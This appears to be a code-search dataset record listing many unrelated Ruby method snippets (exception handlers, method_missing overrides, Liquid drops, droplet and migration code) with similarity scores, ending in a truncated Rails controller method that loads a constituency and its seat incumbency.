"def handle\n end",
"def respond_to_missing?(method, include_all = false)\n handles?(method) || super(method, include_all)\n end",
"def handle_backtrack\n\t\tend",
"def error_handler()\n @error_handler\n end",
"def handle\n respond\n nil\n end",
"def catch_all_usage\n return nil unless catch_all\n catch_all_required? ? catch_all_label : \"[#{catch_all_label}]\"\n end",
"def method_missing(m, *args, &block)\n begin\n return super(m, *args, &block)\n rescue Exception => exception\n @exception_handler.yield(exception)\n end\n end",
"def each\n raise 'Not implemented'\n end",
"def handle_request_error(exception)\n end",
"def handle_exception(data)\n logger.warn \"Got exception from remote call of #{data[\"action\"]}: #{data[\"message\"]}\"\n end",
"def method_missing(name, *args, &block)\n $LOG.error \"Invalid method '#{name}' was called from #{self.class}! \" #+\n # \"Stacktrace: #{e.backtrace}\"\n end",
"def dispatch_to_handler(method, *args)\n if Creatary.consumer_handler.nil?\n LOGGER.error 'Application has not configured the Creatary consumer_handler'\n raise InvalidConsumerHandler.new 'Application has not configured the Creatary consumer_handler'\n end\n \n if Creatary.consumer_handler.respond_to?(method)\n begin\n return Creatary.consumer_handler.send(method, *args)\n rescue Creatary::Error => error\n LOGGER.error 'Application has suffered an internal error: ' + error.message + ', ' + error.body\n raise error\n end\n end\n \n end",
"def catch_phrase; end",
"def catch_phrase; end",
"def catch_simple\n begin\n yield\n rescue => e\n Rails.logger.info e.message\n end\n end",
"def method_missing method, *opt\n method.to_s =~ /^do_[A-Z]+$/ ? process_request(*opt) : super\n end",
"def death_handlers; end",
"def catch_exceptions\n yield\n rescue Accounts::MegamAPIError => mai\n ascii_bomb\n puts_stacktrace(mai)\n # notify hipchat, send an email to support@megam.io which creates a support ticket.\n # redirect to the users last visited page.\n if !signed_in?\n #gflash error: \"#{mai.message}\"\n redirect_to(signin_path, flash: { api_error: 'api_error' }) && return\n else\n # gflash error: \"#{mai.message}\"\n redirect_to(cockpits_path, flash: { api_error: 'api_error' }) && return\n end\n end",
"def handle_receiving_exception(e)\n end",
"def _roda_handle_main_route\n begin\n res = super\n ensure\n _roda_after(res)\n end\n rescue *opts[:error_handler_classes] => e\n _handle_error(e)\n end",
"def method_missing(symbol, *args, &block)\n NSLog(format('MEalert: %s method not found', symbol))\n super\n end",
"def dispatch(method, retype, args)\n result = self.send(\"handle_#{method}\".to_sym, args)\n result_key = Chassis.exit_after_current_dispatch ? :last_result : :result\n case retype\n when :json\n [result_key, [:raw, result.to_json]]\n when :pure\n [result_key, result]\n else\n raise \"Unknown response type: #{retype}\"\n end\n rescue Exception => e\n if e.instance_of?(SystemExit)\n exit\n elsif Chassis.exception_handler\n begin\n Chassis.exception_handler.call(e)\n rescue Exception => e2\n [:error, e2.message + \"\\n\\n\" + e2.backtrace.join(\"\\n\")]\n end\n else\n [:error, e.message + \"\\n\\n\" + e.backtrace.join(\"\\n\")]\n end\n end",
"def method_one\n end",
"def method_one\n end",
"def abort_on_exception=(*) end",
"def on_success(_klass, _method); end",
"def exception(*rest) end",
"def calls; end",
"def calls; end",
"def errors\n raise 'Method should implemented in inherit class'\n end",
"def method_missing(meth, *args, &block); end",
"def method_missing(meth, *args, &block); end"
] | [
"0.66361105",
"0.6541664",
"0.6541664",
"0.6541664",
"0.6419963",
"0.633928",
"0.6312632",
"0.62578744",
"0.622142",
"0.61746883",
"0.6156518",
"0.6156518",
"0.61089617",
"0.58741623",
"0.58619577",
"0.5850803",
"0.5776226",
"0.5769317",
"0.5757386",
"0.574312",
"0.5719776",
"0.5719776",
"0.5719776",
"0.5719776",
"0.5719776",
"0.5719776",
"0.5719776",
"0.5719776",
"0.5719776",
"0.5719776",
"0.5719776",
"0.5719776",
"0.57119566",
"0.57107687",
"0.57107687",
"0.57107687",
"0.57107687",
"0.57107687",
"0.5659055",
"0.5633449",
"0.56066674",
"0.5602182",
"0.5600327",
"0.55760914",
"0.55682915",
"0.55632657",
"0.55632657",
"0.55632657",
"0.55632657",
"0.5520326",
"0.549024",
"0.54898304",
"0.54645914",
"0.544635",
"0.5438646",
"0.543101",
"0.54303277",
"0.5430319",
"0.5430107",
"0.54146314",
"0.54125917",
"0.5411397",
"0.5411397",
"0.54019636",
"0.5401133",
"0.5399499",
"0.5388674",
"0.538776",
"0.5384667",
"0.538162",
"0.53754115",
"0.53549004",
"0.53548604",
"0.53459316",
"0.53452826",
"0.5342142",
"0.5341003",
"0.5338299",
"0.53367996",
"0.5330585",
"0.53269964",
"0.5320571",
"0.5320571",
"0.5307064",
"0.5300722",
"0.52961403",
"0.5295679",
"0.52947974",
"0.5291413",
"0.5274703",
"0.527312",
"0.5272267",
"0.5272267",
"0.5270153",
"0.5262821",
"0.52519935",
"0.5246586",
"0.5246586",
"0.52369624",
"0.52349913",
"0.52349913"
] | 0.0 | -1 |
called by liquid to invoke a drop | def invoke_drop(method_or_key)
if self.class.invokable?(method_or_key)
send(method_or_key)
else
liquid_method_missing(method_or_key)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def drop\n do_callback(:before_drop)\n collection.drop\n do_callback(:after_drop)\n end",
"def invoke_drop(m)\n self.class.invokable?(m) ? send(m) : liquid_method_missing(m)\n end",
"def page_drop; end",
"def drop\n Statements::DropFunction.new(context: self)\n end",
"def drop_item; self['DropItem'] = 1 end",
"def drops\n @drops\n end",
"def invoke_drop(key); end",
"def drop\n container.drop_context(self)\n end",
"def drop\n Aptly::runcmd \"aptly mirror drop #{@name.quote}\"\n end",
"def drop\n cmd = 'aptly publish drop'\n cmd += \" #{@dist.quote}\"\n cmd += \" #{@prefix.quote}\" if !@prefix.empty?\n\n Aptly::runcmd cmd\n end",
"def drop(quant = nil)\n if quant.nil?\n self.is_had = false\n save\n \"dropped #{self.quantity} #{self.name}\"\n else\n self.quantity_consumed += quant\n if quantity < 0\n raise \"Cannot have negative items!\"\n end\n save\n \"dropped #{quant} #{name}\"\n end\n end",
"def liquid_drop_class\n NestedDb::Liquid::TaxonomyDrop\n end",
"def drop\n spawn\n\n begin\n push\n landed = drop1\n end until landed\n\n commit\n\n if @caching\n cache\n else\n nil\n end\n end",
"def _drop\n true\n end",
"def invoke_drop(method)\n value = nil\n\n ContextHelpers.add_plugin_object_to_context(_plugin_id, @context) do\n value = super\n end\n\n value\n end",
"def drop\n @client.send_packet Packet::PlayerDigging.drop\n end",
"def root_drop\n end",
"def drop_item\n @order.order_items.find(params[:id]).destroy\n\n refresh\n end",
"def drop\n @pupil_set=PupilSet.find(params[:id])\n @pupil_set.drop(current_user)\n current_user.reload\n flash[:notice] = 'Set Dropped'\n redirect_to :action => 'user_list'\n end",
"def destroy!\n Dropio::Resource.client.delete_drop(self)\n end",
"def drop_item1\n return enemy.drop_item1\n end",
"def drop( number )\n\n load_parent_state\n \n return super\n\n end",
"def drop_items(drops)\n @victory_item.get_drops(drops)\n end",
"def destroy\n @drop.destroy\n respond_to do |format|\n format.html { redirect_to drops_url }\n format.json { head :no_content }\n end\n end",
"def dropped?\n status == :dropped\n end",
"def invoke_drop(method_or_key); end",
"def drop(w)\r\n @contents.push(w)\r\n show_disk(size,w,@delay)\r\n end",
"def drop\n File.unlink @file if File.exist?(@file)\n self\n end",
"def drop _args\n \"drop _args;\" \n end",
"def submit_dropped_file(**options)\n post_request(\"/submit/dropped-file\", options)\n end",
"def submit_dropped_file(**options)\n post_request(\"/submit/dropped-file\", options)\n end",
"def drop\n Statements::DropRole.new(context: self)\n end",
"def drop_item2\n return enemy.drop_item2\n end",
"def frame_drop _value=0\n send_cmd(\"frame_drop #{_value}\")\n end",
"def drop_on_recyclebox\n Log.add_info(request, params.inspect)\n\n raise(RequestPostOnlyException) unless request.post?\n\n SqlHelper.validate_token([params[:id]])\n unless @login_user.nil?\n Toy.destroy(params[:id])\n end\n\n render(:text => params[:id])\n end",
"def destroy\n @drop = current_user.drops.get(params[:id])\n @drop.destroy\n\n respond_to do |format|\n format.html { redirect_to(drops_url) }\n format.xml { head :ok }\n end\n end",
"def add_drop(drop)\n @drops << drop\n end",
"def drop( gobject )\r\n\t\t\t@contents -= [ gobject ]\r\n\t\tend",
"def drop_for\n return @drop_for if @drop_for\n @drop_for = if @name =~ /drop (.+)/\n $1.split(',').map{|s|s.strip}\n else; []; end\n end",
"def drop_item(item)\n #this will take an item from the hero's inventory and place it in the current room\n end",
"def destroy\n @drop.destroy\n respond_to do |format|\n format.html { redirect_to drops_url, notice: 'Drop was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def fdrop!\n @session.chanserv.fdrop(self.name)\n end",
"def test_drop\n filter = TagFilter.new( HTML::P, Action::DROP )\n [ :walk_depth_first, :walk_breadth_first ].each do |order|\n assert_transform( DROP_HTML, filter, order )\n end\n end",
"def drop\n Statements::DropUser.new(context: self)\n end",
"def drop_file\n Log.add_info(request, '') # Not to show passwords.\n\n raise(RequestPostOnlyException) unless request.post?\n\n if params[:file].nil? or params[:file].size <= 0\n render(:text => '')\n return\n end\n\n my_folder = @login_user.get_my_folder\n if my_folder.nil?\n render(:text => 'ERROR:' + t('folder.cannot_find_my_folder'))\n return\n end\n\n original_filename = params[:file].original_filename\n title = ApplicationHelper.take_ncols(File.basename(original_filename, '.*'), 60, nil)\n\n item = Item.new_info(my_folder.id)\n item.title = title\n item.user_id = @login_user.id\n item.save!\n\n params[:title] ||= title\n attachment = Attachment.create(params, item, 0)\n\n toy = Toy.new\n toy.user_id = @login_user.id\n toy.xtype = Toy::XTYPE_ITEM\n toy.target_id = item.id\n toy.x, toy.y = DesktopsHelper.find_empty_block(@login_user)\n toy.save!\n\n render(:text => t('file.uploaded'))\n end",
"def drop_event(items, real_x, real_y, dropper = nil, time = nil)\n # map coordinates\n x, y, icon = real_x / 128, real_y / 128, false\n # if gold dropped and no corpses used\n if dropper == nil && items[0].is_a?(Numeric) &&\n !BlizzABS::Config::CORPSES\n # set up everything for map display\n event = create_drop_event(x, y, BlizzABS::Config::GOLD_DROP)\n # setup the event commands\n setup_drop_event(event, items, BlizzABS::Config::GOLD_PICKUP_SOUND_FILE)\n else\n # if not dropped by enemy\n if dropper == nil\n # create drop event with icon spriteset\n event = create_drop_event(x, y, items[0].icon_name)\n # event with icon spriteset\n icon = !Items.drop_sprite(items[0].id)\n # if using corpses\n elsif BlizzABS::Config::CORPSES\n # create drop event\n event = create_drop_event(x, y, dropper.character_name_org +\n BlizzABS::SPRCorpse, dropper.character_hue, 0)\n else\n # create drop event\n event = create_drop_event(x, y, dropper.character_name_org,\n dropper.character_hue)\n end\n # setup the event commands\n setup_drop_event(event, items)\n end\n # call superclass method\n drop = Game_Event.new($game_map.map_id, event)\n # mark created event as icon event\n drop.icondrop = icon\n # refresh\n drop.refresh\n # set up drop mode\n drop.activate_drop_mode(BlizzABS::Config::DROP_TIME * 40)\n # add into map events\n $game_map.events[event.id] = drop\n # stop if scene not Scene_Map or spriteset doesn't exist\n return if !$scene.is_a?(Scene_Map) || $scene.spriteset == nil\n # create own sprite as dropped\n sprite = Sprite_Character.new($scene.spriteset.viewport1, drop)\n # add to spriteset handler\n $scene.spriteset.character_sprites.push(sprite)\n end",
"def destroy\n @drop.destroy\n\n respond_to do |format|\n format.html {\n flash[:notice] = 'Removed drop'\n redirect_to(@npc)\n }\n format.xml { head :ok }\n end\n end",
"def fake_drop(from,to)\n to = to.gsub(/#/,\"\")\n from = from.gsub(/#/,\"\")\n script = <<-EOF\n var drop = Droppables.drops.find( function (e) { if (e.element.id == '#{to.gsub(/#/,\"\")}') return true; });\n if (drop) {\n drop.onDrop($('#{from}'));\n }\n EOF\n page.execute_script(script)\nend",
"def dropbear path, str\n raise 'No instance' if @instance.nil?\n connect if @ssh.nil?\n\n # To make things easier on droppers, try to detect--and strip--leading\n # indentation\n min_indent = str.gsub(/[\\r\\n]+/, \"\\n\").scan(/^ */).map(&:length).min\n str = str.gsub(/^ {#{min_indent}}/, '')\n\n $log.info \"Dropping a file to #{path}:\"\n $log.info str\n\n @ssh.exec! \"sudo mkdir -p \\\"$(dirname #{shellescape path})\\\"\"\n\n channel = @ssh.exec \"sudo tee #{shellescape path} > /dev/null\"\n channel.send_data str\n channel.eof!\n\n channel.wait\n end",
"def upload_code\n Dropio::Resource.client.drop_upload_code(self)\n end",
"def drop\n while running > 0 do perform rescue() end\n Curl.recall\n end",
"def set_drop\n @drop = Drop.friendly.find(params[:id])\n end",
"def test_0620_drop\n @@log.debug \"test_0620_drop starts\" if @@log.debug?\n assert_respond_to(@list, :drop, \"test_0620_drop_respond\")\n # Drop the first element\n assert_equal([@bsb, @cab, @dad], @list.drop(1), \"test_0620_drop_one\")\n # Drop the first two elements\n assert_equal([@cab, @dad], @list.drop(2), \"test_0620_drop_two\")\n @@log.debug \"test_0620_drop ends\" if @@log.debug?\n end",
"def delete_droplet(id, client)\n client.droplets.delete(id: id)\nend",
"def fdrop!\n @session.nickserv.fdrop(self.name)\n end",
"def set_drop\n @drop = Drop.find(params[:id])\n end",
"def set_drop\n @drop = Drop.find(params[:id])\n end",
"def drop\n\n\t\t# for user\n\t\tif(!current_user.admin)\n\t\t\tBook.where('owner_id' => current_user.id).delete_all\n\t\telse\n\t\t\tBook.delete_all\n\t\tend\n\t\t\n\t\tflash[:success] = \"Deleted table book!\"\n\t\tredirect_to '/books'\n\tend",
"def air_drop_force_unmanaged_drop_target\n return @air_drop_force_unmanaged_drop_target\n end",
"def setup_drop_event(event, items,\n soundfile = BlizzABS::Config::ITEM_PICKUP_SOUND_FILE)\n # if there are no items\n if items.size == 0\n # create the event commands\n event.pages[0].list.push(RPG::EventCommand.new)\n # erase event command\n event.pages[0].list[0].code = 116\n # abort\n return\n end\n # create the event commands\n (items.size + 2).times {event.pages[0].list.push(RPG::EventCommand.new)}\n # play sound effect\n event.pages[0].list[items.size].code = 250\n # set file to be played\n event.pages[0].list[items.size].parameters = [soundfile]\n # erase event command\n event.pages[0].list[items.size + 1].code = 116\n # for each dropped item\n items.each_index {|i|\n # deteremine code and parameters\n case items[i]\n when Numeric then code, parameters = 125, [0, 0, items[i]]\n when RPG::Item then code, parameters = 126, [items[i].id, 0, 0, 1]\n when RPG::Weapon then code, parameters = 127, [items[i].id, 0, 0, 1]\n when RPG::Armor then code, parameters = 128, [items[i].id, 0, 0, 1]\n end\n # which event command\n event.pages[0].list[i].code = code\n # increase quantity by number command\n event.pages[0].list[i].parameters = parameters}\n end",
"def drag_drop(start_x, start_y, end_x, end_y)\n @java_obj.dragDrop(\n org.sikuli.script::Location.new(start_x, start_y).offset(x(), y()),\n org.sikuli.script::Location.new(end_x, end_y).offset(x(), y()),\n 0\n )\n end",
"def make_drop_recieving(options={})\n drop_recieving_element_js(javascript_variable('this'), options)\n end",
"def drop(db)\n\tif $table_exists\n\t\tdb.execute(\"DROP TABLE items;\")\n\t\t$table_exists = false\n\t\tputs \"\\nTable successfully deleted.\"\n\telse\n\t\tputs \"\\nTable successfully deleted.\"\n\tend\nend",
"def drop_index\n call(ft_drop)\n end",
"def dropConfiguration()\n #This adds (for me) drop which can be mined by brone shield, with chance 20%,\n #on block with id 1, and will drop potion\n addDrop(1, 40, false, 1, 1)\n addDrop(1, 40, true, 1, 1)\n end",
"def drop\n @entry_type = EntryType.find(params[:entry_type_id])\n @attrib_type = AttribType.find(params[:attrib_type_id])\n \n \n respond_to do |format|\n if @entry_type.attrib_types.delete(@attrib_type)\n flash[:notice] = 'AttribType was successfully removed.'\n format.html { redirect_to(@entry_type) }\n format.xml { head :ok }\n else \n format.html { render :action => \"show\" }\n format.xml { render :xml => @entry_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def drag_drop(event)\n db = event.dragboard\n event.setDropCompleted(\n if db.hasString\n if db.string.start_with? \"AutoAdd:\"\n id = db.string[8..-1] #strip prefix\n # get the type that we are dealing with so we can filter for it\n typeo = @data_core.getObservable(id)\n #open a popup and populate it\n tbx_popup = SD::DesignerSupport::ToolboxPopup.new # TODO: cache these items so we don't have to reparse fxml\n find_toolbox_parts.each do |key, data|\n data.each do |i|\n next unless i.can_display? typeo.type, typeo.group_name\n ti = SD::DesignerSupport::ToolboxItem.new(i, method(:associate_dnd_id), :assign_name => id)\n ti.set_on_mouse_clicked do\n drop_add associate_dnd_id(i, :assign_name => id), event.x, event.y, event.source\n @on_mouse.call if @on_mouse # hide it\n end\n tbx_popup.add ti, key\n end\n end\n # position the popup at the location of the mouse\n tbx_popup.x = event.screen_x\n tbx_popup.y = event.screen_y\n # when we click other places, hide the toolbox\n register_clickoff do\n tbx_popup.hide\n end\n tbx_popup.show @stage\n SD::DesignerSupport::Overlay.preparse_new(1)\n else\n drop_add(db.string.to_i, event.x, event.y, event.source)\n end\n true\n else\n false\n end)\n\n event.consume()\n end",
"def drop_toy(toy_index)\n p 'drop toy'\n # get the toy\n @main_view.add_toy(ToyInScene.new(@state.toys[toy_index]))\n #add toy's actions to scene\n @state.toys[toy_index].actions.each do |action|\n @main_view.add_action(action)\n end\n close_toybox\n @main_view.addSceneToy\n grab\n end",
"def fetch_drop(slug)\n DropFetcher.fetch slug\n rescue DropFetcher::NotFound\n not_found\n end",
"def drop_frame f\n if !@ext__sent_dropped_frame[f.type]\n @ext__sent_dropped_frame[f.type] = true\n g = Frame.new FrameTypes::DROPPED_FRAME, 0x00, 0, [f.type].pack('C')\n send_frame g\n end\n end",
"def drop(object)\n\t\t\traise GreyGoo::Error, \"You don't have that object\" if !has?(object)\n\t\t\tcurrent_room.take(object)\n\t\t\tself.reload # because the object's parent has lost the object, not us\n\t\tend",
"def destroy\n @droplet = Droplet.find(params[:id])\n\t@droplet.user = current_user\n @droplet.status = Status.find_by_name(\"removed\")\n @droplet.save\n\n respond_to do |format|\n format.html { redirect_to droplets_url }\n format.json { head :ok }\n end\n end",
"def to_liquid\n Sequent::Drops::ContentDrop.new self\n end",
"def drop_to(container, bikes)\n bikes.each do |bike|\n container.dock(bike)\n release(bike) \n end \n end",
"def to_liquid(options = {})\n ArticleDrop.new self, options\n end",
"def drop(n)\n #This is a stub, used for indexing\nend",
"def display_drop_items\n # Does nothing, will be managed in Scene_Victory\n end",
"def display_drop_items\n # Does nothing, will be managed in Scene_Victory\n end",
"def dragged\n # Welcome to the Dropzone 3 API! It helps to know a little Ruby before playing in here.\n # If you haven't coded in Ruby before, there's an excellent introduction at http://www.codecademy.com/tracks/ruby\n\n # Each meta option at the top of this file is described in detail in the Dropzone API docs at https://github.com/aptonic/dropzone3-actions/blob/master/README.md#dropzone-3-api\n # You can edit these meta options as required to fit your action.\n # You can force a reload of the meta data by clicking the Dropzone status item and pressing Cmd+R\n\n # This is a Ruby method that gets called when a user drags items onto your action.\n # You can access the received items using the $items global variable e.g.\n puts $items.inspect\n # The above line will list the dropped items in the debug console. You can access this console from the Dropzone settings menu\n # or by pressing Command+Shift+D after clicking the Dropzone status item\n # Printing things to the debug console with puts is a good way to debug your script. \n # Output printed with puts will be shown in red in the console\n \n # You mostly issue commands to Dropzone to do things like update the status - for example the line below tells Dropzone to show\n # the text \"Starting some task\" and show a progress bar in the grid. If you drag a file onto this action now you'll see what I mean\n # All the possible $dz methods are described fully in the API docs (linked up above)\n $dz.begin(\"Copying and compressing...\")\n \n # Below line switches the progress display to determinate mode so we can show progress\n $dz.determinate(true)\n \n # Below lines tell Dropzone to update the progress bar display\n# $dz.percent(10)\n# sleep(1)\n# $dz.percent(50)\n# sleep(1)\n# $dz.percent(100)\n\n for item in $items\n searchPattern = item + '/*.png'\n files = Dir.glob(searchPattern)\n done = 0\n files.sort.each do |src|\n filename = File.basename(src)\n filename.downcase!\n filename.gsub!(/(.*)_(.+dpi)/, 'drawable-\\2/\\1')\n filename.gsub!(' ', '_')\n filename.gsub!('-', '_') \n dst = File.dirname(src) + '/' + filename\n puts 'Renaming:'\n puts src\n puts dst\n puts ''\n FileUtils.mkdir_p(File.dirname(dst))\n FileUtils.cp(src, dst)\n system \"/usr/local/bin/optipng #{dst}\"\n done += 1\n $dz.percent(100 * done / files.count)\n end\n end\n\n \n # The below line tells Dropzone to end with a notification center notification with the text \"Task Complete\"\n $dz.finish(\"Task Complete\")\n \n # You should always call $dz.url or $dz.text last in your script. The below $dz.text line places text on the clipboard.\n # If you don't want to place anything on the clipboard you should still call $dz.url(false)\n # $dz.text(\"Here's some output which will be placed on the clipboard\")\n $dz.url(false)\nend",
"def down\nexecute <<-SQL\n\tDROP TRIGGER IF EXISTS add_animal;\nSQL\n\nexecute <<-SQL\n\tDROP TRIGGER IF EXISTS update_animal;\nSQL\nexecute <<-SQL\n DROP PROCEDURE IF EXISTS all_animals\nSQL\n\nexecute <<-SQL\n DROP PROCEDURE IF EXISTS get_by_species\nSQL\n\nexecute <<-SQL\n DROP PROCEDURE IF EXISTS get_by_name\nSQL\n\nexecute <<-SQL\n DROP PROCEDURE IF EXISTS get_by_tank\nSQL\n\nexecute <<-SQL\n DROP PROCEDURE IF EXISTS get_by_habitat\nSQL\n\nexecute <<-SQL\n DROP PROCEDURE IF EXISTS get_by_birthday\nSQL\n\nexecute <<-SQL\n DROP PROCEDURE IF EXISTS create_animal\nSQL\n\nexecute <<-SQL\n DROP PROCEDURE IF EXISTS update_animal\nSQL\n\nexecute <<-SQL\n DROP PROCEDURE IF EXISTS delete_animal\nSQL\nexecute <<-SQL\n DROP PROCEDURE IF EXISTS get_animal\nSQL\nexecute <<-SQL\n DROP FUNCTION IF EXISTS get_animal_count\nSQL\n end",
"def drop_function(function_name, options)\n\n end",
"def invoke_drop(method)\n # for backward compatibility with Ruby 1.8\n methods = self.class.public_instance_methods.map { |m| m.to_s }\n if methods.include?(method.to_s)\n send(method.to_sym)\n else\n before_method(method)\n end\n end",
"def purge\n\n\t\tend",
"def drop(interface)\n @pool.drop\n end",
"def drop_infrastructure\n drop_event_log if event_log_exists?\n drop_sync_state if sync_state_exists?\n drop_change_logs\n drop_activity_markers\n end",
"def show\n @drop = Drop.new\n end",
"def prepare_droplet(id, name)\n logger.debug \"Droplet id: #{id} name: #{name}\\n\"\n droplet = api.droplet id\n\n return unless droplet\n logger.info \"Preparing droplet id: #{droplet.id} name: #{droplet.name} to take snapshot.\"\n return if too_much_snapshots?(droplet)\n processed_droplet_ids << droplet.id\n thread_runner(droplet)\n end",
"def dispatch_droplets\n droplets.each do |droplet|\n id = droplet.id.to_s\n next if exclude.include? id\n next unless only.empty? || only.include?(id)\n\n prepare_droplet id, droplet.name\n end\n end",
"def bring_down(typename, cmd)\n execute_with_fail(typename, cmd, 'to remove')\n end",
"def break!\n Apartment::Tenant.drop(leaser_name)\n end",
"def invoke_drop(method)\n # for backward compatibility with Ruby 1.8\n methods = self.class.public_instance_methods.map { |m| m.to_s }\n if methods.include?(method.to_s)\n send(method.to_sym)\n end\n end",
"def destroy\n @raid_boss_item_drop.destroy\n respond_to do |format|\n format.html { redirect_to raid_boss_item_drops_url, notice: 'Raid boss item drop was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def remove!(package)\n remote_path = remote_path_for(package)\n\n messages = []\n transferred_files_for(package) do |local_file, remote_file|\n messages << \"#{storage_name} started removing \" +\n \"'#{ local_file }' from Dropbox.\"\n end\n Logger.info messages.join(\"\\n\")\n\n connection.file_delete(remote_path)\n end",
"def taxonomy_drop(context)\n drop = context[\"taxonomies.#{@reference}\"]\n unless drop\n raise StandardError, \"No taxonomy found with reference: #{@reference}\"\n end\n drop\n end",
"def drop_params\n params.require(:drop).permit(:name)\n end",
"def is_a?(v)\n v == Liquid::Drop || super(v)\n end",
"def drop(pos)\n @myPositions[pos].player = @myPlayerTurn\n @myUnplaced[@myPlayerTurn] -= 1\n @myPlaced[@myPlayerTurn] +=1\n end",
"def drop(path = nil, opts = {})\n array_opts = []\n array_opts << \"--all\" if opts[:all]\n array_opts << \"--force\" if opts[:force]\n\n command(\"drop #{escape(path)}\", array_opts)\n end",
"def to_drop\n return unless DROPPABLES.include?(self.class.name)\n\n \"#{self.class.name}Drop\".constantize.new(self)\n end",
"def to_drop\n return unless DROPPABLES.include?(self.class.name)\n\n \"#{self.class.name}Drop\".constantize.new(self)\n end"
] | [
"0.69509137",
"0.69160455",
"0.68819594",
"0.68675953",
"0.67259324",
"0.6557238",
"0.651733",
"0.64635915",
"0.6451933",
"0.64483213",
"0.640781",
"0.640496",
"0.63689774",
"0.6352947",
"0.63290507",
"0.6328251",
"0.6314846",
"0.6280054",
"0.6230457",
"0.6171241",
"0.6119198",
"0.6114728",
"0.60558987",
"0.60354435",
"0.60315174",
"0.601655",
"0.6006379",
"0.5996064",
"0.59663475",
"0.5960289",
"0.5960289",
"0.59500575",
"0.5948781",
"0.59468406",
"0.5934781",
"0.5930626",
"0.59027904",
"0.58851856",
"0.5879306",
"0.5849016",
"0.5843723",
"0.58371955",
"0.5835027",
"0.5833975",
"0.58289737",
"0.58198816",
"0.5812216",
"0.5795485",
"0.57949036",
"0.5788708",
"0.5750832",
"0.5742312",
"0.5724838",
"0.57230335",
"0.5706476",
"0.5694879",
"0.5694879",
"0.5683269",
"0.5666614",
"0.5665326",
"0.5665067",
"0.56432855",
"0.5642267",
"0.5639385",
"0.5628462",
"0.56269056",
"0.56223744",
"0.5616631",
"0.56079537",
"0.55752504",
"0.5556219",
"0.55535084",
"0.55461746",
"0.5525705",
"0.5521386",
"0.5502216",
"0.549819",
"0.549819",
"0.54917806",
"0.54840356",
"0.547182",
"0.5442677",
"0.544252",
"0.54305494",
"0.54285413",
"0.5427807",
"0.54265195",
"0.5425471",
"0.5405423",
"0.5389608",
"0.5388736",
"0.5385889",
"0.5361901",
"0.535976",
"0.53527665",
"0.5352634",
"0.5305313",
"0.5293564",
"0.52840984",
"0.52840984"
] | 0.6383377 | 12 |
this method is implemented by middlemanblog and we can't stub it directly because the helpers module doesn't implement it on it's own | def blog(which_blog)
blog_object
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def helpers; end",
"def helpers; end",
"def helpers; end",
"def private; end",
"def define_helpers; end",
"def weber; end",
"def around_hooks; end",
"def wrapper; end",
"def custom; end",
"def custom; end",
"def private_method\n end",
"def macro; raise NotImplementedError; end",
"def macro; raise NotImplementedError; end",
"def macro; raise NotImplementedError; end",
"def implementation; end",
"def implementation; end",
"def how_it_works\r\n end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def site_cleaner; end",
"def _prepare_context; end",
"def before_setup; end",
"def regenerate_helpers!; end",
"def who_we_are\r\n end",
"def test_get_content_for\n end",
"def extra; end",
"def version_helper; end",
"def version_helper; end",
"def version_helper; end",
"def version_helper; end",
"def before; end",
"def internal; end",
"def spec; end",
"def spec; end",
"def handle; end",
"def before() ; end",
"def content_methods; end",
"def refutal()\n end",
"def hunter_stub\n\tend",
"def __dummy_test__\n end",
"def support\n raise \"Not implemented\"\n end",
"def before_run; end",
"def content\n raise \"Must be implemented.\" \n end",
"def helpers\n Blush.helpers\n end",
"def protected_method\n end",
"def special\n override\n end",
"def site_meta\n end",
"def site_meta\n end",
"def before_dispatch(env); end",
"def overrides; end",
"def support\n end",
"def internal?; end",
"def setup_handler\n end",
"def url_helpers_module; end",
"def third_party_processors; end",
"def clear_helpers; end",
"def post_process; end",
"def stub_implementation; end",
"def handler; end",
"def handler; end",
"def handle_post_mortem; end",
"def as_you_like_it_quote; end",
"def define_rails_helper_methods!\n self.stub!(:render).and_return(\"rendered content\")\nend",
"def mitch_hedberg; end",
"def before\n end",
"def before() nil ; end",
"def tag; raise 'Override this method'; end",
"def before\n end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end"
] | [
"0.6794805",
"0.6794805",
"0.6794805",
"0.63869816",
"0.6282601",
"0.61621547",
"0.6104847",
"0.6007047",
"0.58904284",
"0.58904284",
"0.5838433",
"0.5801471",
"0.5801471",
"0.5801471",
"0.57658535",
"0.57658535",
"0.5663216",
"0.5654853",
"0.5654853",
"0.5654853",
"0.5654853",
"0.5634108",
"0.56112736",
"0.55937046",
"0.55737555",
"0.55618024",
"0.55603296",
"0.5538238",
"0.55187654",
"0.55187654",
"0.55187654",
"0.55187654",
"0.5492204",
"0.5485261",
"0.5482654",
"0.5482654",
"0.54762816",
"0.547558",
"0.54713225",
"0.5459246",
"0.5458128",
"0.5437576",
"0.5425221",
"0.5420951",
"0.5414066",
"0.53948975",
"0.5384793",
"0.5375481",
"0.53727067",
"0.53727067",
"0.5368728",
"0.5363382",
"0.5359147",
"0.53554565",
"0.5341466",
"0.53401047",
"0.53301495",
"0.5328539",
"0.5323797",
"0.5323326",
"0.5320991",
"0.5320991",
"0.5315841",
"0.5301362",
"0.52998096",
"0.5288072",
"0.5278376",
"0.52774954",
"0.5270024",
"0.5267649",
"0.52612",
"0.52612",
"0.52612",
"0.52612",
"0.52612",
"0.52612",
"0.52612",
"0.52612",
"0.52612",
"0.52612",
"0.52612",
"0.52612",
"0.52612",
"0.52612",
"0.52612",
"0.52612",
"0.52612",
"0.52612",
"0.52612",
"0.52612",
"0.52612",
"0.52612",
"0.5259131",
"0.5259131",
"0.5259131",
"0.5259131",
"0.5259131",
"0.5259131",
"0.5259131",
"0.5259131",
"0.5259131"
] | 0.0 | -1 |
Renders a constituency and the current incumbent given a constituency id. | def current
@constituency, @seat_incumbency = Parliament::Utils::Helpers::FilterHelper.filter(@request, 'ConstituencyGroup', 'SeatIncumbency')
@constituency = @constituency.first
